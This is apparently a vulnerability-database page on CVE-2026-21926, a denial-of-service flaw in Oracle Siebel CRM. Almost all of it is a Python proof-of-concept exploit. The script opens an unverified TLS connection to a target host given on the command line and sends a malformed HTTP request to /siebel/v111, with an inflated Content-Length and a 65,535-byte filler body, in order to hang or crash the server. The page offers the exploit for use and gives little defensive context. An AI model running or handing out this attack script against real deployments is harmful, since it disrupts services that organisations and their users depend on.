CVE-2026-21926 Oracle Siebel CRM Server Infrastructure拒绝服务漏洞

import socket import ssl import sys # CVE-2026-21926 PoC - Siebel CRM DoS # Target: Oracle Siebel CRM Deployment def create_tls_socket(target_host, target_port): context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE raw_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) tls_socket = context.wrap_socket(raw_socket, server_hostname=target_host) try: tls_socket.connect((target_host, target_port)) return tls_socket except Exception as e: print(f"Connection failed: {e}") return None def exploit_cve_2026_21926(target_host, target_port=443): print(f"[*] Targeting {target_host}:{target_port}") print(f"[*] Exploiting CVE-2026-21926 - Siebel CRM DoS") tls_socket = create_tls_socket(target_host, target_port) if not tls_socket: return False # Malformed request to trigger DoS condition payload = b"GET /siebel/v111 HTTP/1.1\r\nHost: " + target_host.encode() + b"\r\n" payload += b"Content-Length: 999999\r\nConnection: keep-alive\r\n\r\n" payload += b"A" * 65535 + b"\r\n" try: tls_socket.send(payload) print("[+] Malicious request sent") print("[*] Target should experience hang or crash") return True except Exception as e: print(f"[-] Exploit failed: {e}") return False finally: tls_socket.close() if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-21926.py <target_host>") sys.exit(1) target = sys.argv[1] exploit_cve_2026_21926(target)